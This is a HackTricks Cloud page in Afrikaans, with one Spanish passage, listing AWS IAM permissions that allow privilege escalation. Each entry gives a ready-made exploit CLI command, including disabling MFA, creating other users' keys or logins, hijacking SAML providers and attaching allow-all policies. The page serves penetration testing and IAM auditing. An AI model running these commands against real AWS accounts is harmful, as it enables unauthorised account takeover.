AWS - IAM Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
IAM
Vir meer inligting oor IAM, sien:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Gee die vermoë om ’n nuwe IAM-beleidsweergawe te skep, en omseil die behoefte aan die iam:SetDefaultPolicyVersion toestemming deur die --set-as-default vlag te gebruik. Dit stel jou in staat om aangepaste permissies te definieer.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impact: Eskaleer bevoegdhede direk deur enige aksie op enige hulpbron toe te laat.
iam:SetDefaultPolicyVersion
Laat toe om die standaardweergawe van ’n IAM-beleid na ’n ander bestaande weergawe te verander, wat potensieel bevoegdhede kan eskaleer as die nuwe weergawe meer toestemmings het.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impak: Indirekte privilege escalation deur meer permissies moontlik te maak.
iam:CreateAccessKey
Stel in staat om ’n access key ID en secret access key vir ’n ander gebruiker te skep, wat tot moontlike privilege escalation kan lei.
Exploit:
aws iam create-access-key --user-name <target_user>
Impak: Direkte privilege escalation deur die aanneem van ’n ander gebruiker se uitgebreide permissions.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Laat toe om ’n login profile te skep of by te werk, insluitend die instel van wagwoorde vir AWS console login, wat tot direkte privilege escalation lei.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit vir Opdatering:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impak: Direkte privilege escalation deur aan te meld as “any” gebruiker.
iam:UpdateAccessKey
Laat toe om ’n gedeaktiveerde access key weer te aktiveer, wat moontlik tot ongemagtigde toegang kan lei indien die aanvaller die gedeaktiveerde key besit.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impak: Direkte privilege escalation deur access keys te heraktiveer.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Laat toe om credentials vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces) te genereer of terug te stel, en erf die permissions van die geassosieerde gebruiker.
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit vir Reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impak: Direkte privilege escalation binne die gebruiker se dienspermissies.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Laat toe om policies aan gebruikers of groepe te koppel, directly escalating privileges deur die permissies van die aangehegte policy te erf.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit vir Groep:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impak: Direkte privilege-eskalasie na enigiets wat die beleid toelaat.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Laat toe om beleide aan roles, users of groups aan te heg of te plaas, wat direkte privilege-eskalasie moontlik maak deur addisionele permissies te verleen.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit vir Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Jy kan ’n beleid soos volg gebruik:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impak: Direkte privilege escalation deur permissions by te voeg via policies.
iam:AddUserToGroup
Laat toe om jouself by ’n IAM group te voeg, escalating privileges deur die group se permissions te erf.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impak: Direkte voorreg-eskalasie tot die vlak van die groep se regte.
iam:UpdateAssumeRolePolicy
Laat toe om die assume role-beleidsdokument van ’n rol te verander, wat die aanname van die rol en die daarmee geassosieerde regte moontlik maak.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan te neem:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impak: Direkte privilege escalation deur die toestemmings van enige rol aan te neem.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Laat toe om ’n SSH publieke sleutel op te laai vir autentisering by CodeCommit en om MFA-toestelle te deaktiveer, wat kan lei tot potensiële indirekte privilege escalation.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit vir MFA deaktivering:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact: Indirekte privilege escalation deur toegang tot CodeCommit te aktiveer of MFA-beskerming uit te skakel.
iam:ResyncMFADevice
Laat toe om ’n MFA-toestel te hersinchroniseer, wat moontlik tot indirekte privilege escalation kan lei deur MFA-beskerming te manipuleer.
Bash-opdrag:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Indirect privilege escalation deur byvoeging of manipulering van MFA devices.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Met hierdie permissies kan jy die XML metadata van die SAML-verbinding verander. Dan kan jy die SAML federation misbruik om met enige role wat dit vertrou aan te meld.
Neem kennis dat as jy dit doen sal legitieme gebruikers nie kan aanmeld nie. Jy kan egter die XML kry, jou eie insit, aanmeld en die vorige weer herstel.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Note
TODO: ’n hulpmiddel wat SAML metadata kan genereer en kan aanmeld met ’n gespesifiseerde role
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Onseker hiervan) As ’n aanvaller hierdie permissions het, kan hy ’n nuwe Thumbprint byvoeg sodat hy by al die roles wat die provider vertrou kan aanmeld.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Hierdie permission laat ’n attacker toe om die permissions boundary van ’n user by te werk, wat moontlik hul privileges kan eskaleer deur hulle toe te laat aksies uit te voer wat normaalweg deur hul bestaande toestemmings beperk is.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
’n akteur met iam:PutRolePermissionsBoundary kan ’n permissions boundary op ’n bestaande role stel. Die risiko ontstaan wanneer iemand met hierdie toestemming die boundary van ’n role verander: hulle kan bedrywighede onvanpas beperk (wat diensonderbreking veroorsaak) of, as hulle ’n permissive boundary heg, effektief uitbrei wat die role kan doen en escalate privileges.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

